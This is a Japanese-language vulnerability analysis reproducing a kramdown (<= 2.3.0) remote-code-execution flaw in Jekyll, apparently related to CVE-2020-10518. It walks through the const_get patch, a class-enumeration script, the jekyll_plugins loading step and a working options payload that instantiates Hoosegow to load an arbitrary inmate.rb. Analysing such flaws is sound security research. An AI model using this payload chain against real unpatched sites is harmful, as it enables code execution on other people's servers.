このバグの分析を始めたとき、私は lyy289065406 からいくつかの貴重な情報を得て、このバグの核心を理解することができました。 どうやら gem kramdown (<= 2.3.0) 側のバグのようだったので、まずは kramdown を調べることから始めました。
kramdown の パッチ を確認すると、Kramdown::Converter::SyntaxHighlighter::Rouge モジュール内の formatter_class 関数に違いが見られます。
::Rouge::Formatters.const_get(formatter) が ::Rouge::Formatters.const_get(formatter, false) に変更されました。
const_get メソッドは Object クラスから継承され、定数を取得できます。見つけられる以前に宣言されたクラスを返すことも可能です。ここでの違いはパラメータ false が追加されたことだけです。false を追加することで、const_get は親クラスや他のモジュールの定数を取得できなくなります。
さらに注目すべき点: self.call 関数内で formatter_class を呼び出した後、new(opts) を呼び出しています。つまり、const_get で取得したメソッドのコンストラクタが呼び出されて初期化されます。
def self.call(converter, text, lang, type, call_opts)
opts = options(converter, type)
call_opts[:default_lang] = opts[:default_lang]
return nil unless lang || opts[:default_lang] || opts[:guess_lang]
lexer = ::Rouge::Lexer.find_fancy(lang || opts[:default_lang], text)
return nil if opts[:disable] || !lexer || (lexer.tag == "plaintext" && !opts[:guess_lang])
opts[:css_class] ||= 'highlight' # For backward compatibility when using Rouge 2.0
formatter = formatter_class(opts).new(opts)
formatter.format(lexer.lex(text))
end
Kramdown:Options に基づき、Kramdown::Converter::SyntaxHighlighter::Rouge.call を呼び出すことができます。
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}
さらに、Kramdown:Options モジュール内の simple_hash_validator 関数が YAML.safe_load(val) を呼び出していることも確認できます。したがって、YML ファイルを設定して、任意のペイロードを Kramdown::Converter::SyntaxHighlighter::Rouge に渡すことも可能です。
def self.simple_hash_validator(val, name)
if String === val
begin
val = YAML.safe_load(val)
rescue RuntimeError, ArgumentError, SyntaxError
raise Kramdown::Error, "Invalid YAML value for option #{name}"
end
end
raise Kramdown::Error, "Invalid type #{val.class} for option #{name}" unless Hash === val
val
end
まずは Jekyll を立ち上げる必要があります:
gem install jekyll
jekyll new jekyllTest
Gemfile.lock を編集して kramdown のバージョンを 2.3.0 以下に変更cd jekyllTest
Gemfile.lock ファイル
...
kramdown (2.3.0)
...
bundle install
これで Jekyll ページの作成が完了しました。では、ペイロードを投入して、Kramdown::Converter::SyntaxHighlighter::Rouge.call が実際にメソッドを呼び出せるかどうかを確認します。
./_config.yml ファイルに以下を追加できます。
kramdown:
syntax_highlighter: rouge
syntax_highlighter_opts:
formatter: CSV
または、./_posts/*.markdown に kramdown ドキュメントを使ってペイロードを追加します。
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}
~~~ ruby
def what?
42
end
~~~
ここでは2番目の方法を使います =)))))
bundle exec jekyll serve
エラー "require': cannot load such file -- webrick (LoadError)" が発生した場合は、Gemfile に gem "webrick"` を追加してください。
private method 'format' called for #<CSV io_type:Hash encoding:UTF-8 lineno:0 col_sep: が表示されました。これは CSV クラスが呼び出されたことを示しています。CVE-2020-10518 の分析記事 によると、kramdown のバグを利用して Github 上で RCE を引き起こします。私は Hoosegow クラスをターゲットにしました:
initialize 関数内で load_inmate_methods が呼び出されています。def initialize(options = {})
options = options.dup
@no_proxy = options.delete(:no_proxy)
@inmate_dir = options.delete(:inmate_dir) || '/hoosegow/inmate'
@image_name = options.delete(:image_name)
@ruby_version = options.delete(:ruby_version) || RUBY_VERSION
@docker_options = options
load_inmate_methods
load_inmate_methods では、require inmate_file が呼び出されています。 def load_inmate_methods
inmate_file = File.join @inmate_dir, 'inmate.rb'
unless File.exist?(inmate_file)
raise Hoosegow::InmateImportError, "inmate file doesn't exist"
end
require inmate_file
unless Hoosegow.const_defined?(:Inmate) && Hoosegow::Inmate.is_a?(Module)
raise Hoosegow::InmateImportError,
"inmate file doesn't define Hoosegow::Inmate"
end
if no_proxy?
self.extend Hoosegow::Inmate
else
inmate_methods = Hoosegow::Inmate.instance_methods
inmate_methods.each do |name|
define_singleton_method name do |*args, &block|
proxy_send name, args, &block
end
end
end
end
inmate_file は @inmate_dir と 'inmate.rb' を連結して作成されます。もしこのクラスを呼び出して、inmate_dir パラメータを自分のペイロードファイルへのパスに変更できれば、RCE が発生するのではないでしょうか?
Jekyll ページのパスで以下のスクリプトを実行し、定義されているメソッドを確認しました:
require "bundler"
Bundler.require
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name =~ /\A[[:upper:]][[:alnum:]_]*\z/ }
methods.each do |m|
begin
puts "trying #{m[:ob]}"
m[:ob].new({a:1, b:2})
puts "worked\n\n"
rescue ArgumentError
puts "nope\n\n"
rescue NoMethodError
puts "nope\n\n"
rescue => e
p e
puts "maybe\n\n"
end
ob.name == "Hoosegow" として途中でクラックを回避しても同様です。require "bundler"
Bundler.require
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name == "Hoosegow" }
...
Gemfile に gem "hoosegow" を追加して、スクリプトでこのクラスが見つかるようにしました。[へへへ]Hoosegow を呼び出してみます。{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, line_numbers: true\}" /}
~~~ ruby
def what?
42
end
~~~
ここで1週間行き詰まりました。そう、1週間無駄にしました。バンドラーに Hoosegow クラスがあるのに、なぜ Kramdown から呼び出すと見つからないのか? 見つかるはずなのに? という疑問がぐるぐる回りました。
「Gemfile に宣言してあるなら、クラスパスにそのクラスがあるはずだ。それなのにプログラムが 'Hoosegow' を見つけられないなら、まだロードされていないに違いない...」と私は考えました。では、Jekyll 起動時に source directory の他の部分を処理する前に gem をロードさせるには、どうやって gem を宣言すればいいのか?
Jekyll のドキュメントを読み、jekyll_plugins を見つけました。Gemfile に宣言するだけでは不十分で、jekyll_plugins グループ 内で gem を宣言する必要がありました。なぜなら、jekyll_plugins 内で宣言すると、Jekyll が他のソースを処理する前に gem が強制的に呼び出されるからです。セーフモードで実行しても同様です。
group :jekyll_plugins do
gem "jekyll-feed", "~> 0.12"
gem "hoosegow"
end
C:/ に inmate.rb ファイルを作成し、ペイロードを実行:{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, inmate_dir: C:/\}" /}
~~~ ruby
def what?
42
end
~~~
inmate.rb ファイルが呼び出されました。これで PoC の再現にほぼ成功したようですね。